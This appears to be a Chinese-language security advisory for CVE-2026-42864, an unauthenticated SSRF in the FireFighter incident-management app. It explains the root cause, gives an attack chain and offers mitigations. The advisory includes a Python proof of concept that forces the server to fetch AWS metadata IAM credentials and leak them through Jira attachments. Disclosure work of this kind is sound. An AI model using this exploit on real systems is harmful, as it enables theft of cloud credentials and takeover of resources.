IPBUF安全漏洞报告
English
CVE-2026-42864 CVSS 9.9 严重

CVE-2026-42864 FireFighter 未经认证SSRF漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-42864
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FireFighter

相关标签

SSRFFireFighterAWSCVE-2026-42864未授权访问信息泄露

漏洞概述

FireFighter是一个事件管理应用程序。在0.0.54版本之前,其`/api/v2/firefighter/raid/jira_bot`接口存在严重的权限绕过与SSRF漏洞。该接口未配置认证,且直接根据用户输入的URL通过`httpx`获取内容。攻击者可诱导服务器访问内网敏感资源(如AWS元数据服务),并将响应数据作为Jira附件外泄,从而窃取云环境IAM凭证。

技术细节

该漏洞的根本原因在于`CreateJiraBotView`视图函数的权限控制缺失与输入验证不足。首先,开发者在视图定义中使用了`permission_classes = [permissions.AllowAny]`,这完全绕过了Django Rest Framework的认证机制,使得未授权的匿名用户可以直接访问该敏感接口。其次,在处理业务逻辑时,代码直接解析用户提交的`attachments` payload,并使用`httpx.get()`库向用户指定的URL发起HTTP请求,且未设置任何白名单或内网IP地址过滤机制。这种组合使得攻击者能够利用该服务器作为代理,发起服务器端请求伪造(SSRF)攻击。特别是在部署于AWS EC2或EKS环境的实例中,如果未强制实施IMDSv2(实例元数据服务版本2),攻击者可以通过向`http://169.254.169.254/latest/meta-data/iam/security-credentials/`发送请求,获取分配给该Pod的IAM角色临时安全凭证,进而实现对云上资源的未授权访问和控制。

攻击链分析

STEP 1
1. 信息收集
攻击者发现目标FireFighter应用版本低于0.0.54,并确认/api/v2/firefighter/raid/jira_bot端点可访问。
STEP 2
2. 构造恶意请求
攻击者构造POST请求,在attachments参数中填入内网敏感地址(如AWS元数据服务地址169.254.169.254)。
STEP 3
3. 触发SSRF
由于无需认证且无URL校验,服务器接收请求并使用httpx库向内网地址发起连接。
STEP 4
4. 数据外带
服务器将内网资源的响应内容(如AWS IAM凭证)作为附件上传到Jira工单。
STEP 5
5. 获取凭证
攻击者访问生成的Jira工单或附件,下载并解析窃取的敏感信息,进而接管云资源。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_ssrf(target_url, malicious_url): """ PoC for CVE-2026-42864: Unauthenticated SSRF in FireFighter. This script sends a malicious payload to the vulnerable endpoint, forcing the server to fetch the specified URL. """ endpoint = f"{target_url}/api/v2/firefighter/raid/jira_bot" # Payload targeting AWS Instance Metadata Service (IMDSv1) # Attacker can change this to any internal URL they want to scan payload = { "attachments": [ { "url": malicious_url } ] } try: print(f"[*] Sending request to {endpoint}...") response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Request successful. Server likely fetched the URL.") print("[+] Check the Jira attachment or response body for exfiltrated data.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://firefighter-instance.com" # Example: Stealing AWS IAM credentials ssrf_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" exploit_ssrf(target, ssrf_url)

影响范围

FireFighter < 0.0.54

防御指南

临时缓解措施
如果无法立即升级,建议在防火墙或WAF层面封锁对/api/v2/firefighter/raid/jira_bot路径的外部访问,或在应用网关层强制添加Bearer Token验证机制,确保只有授权用户才能调用该接口。

参考链接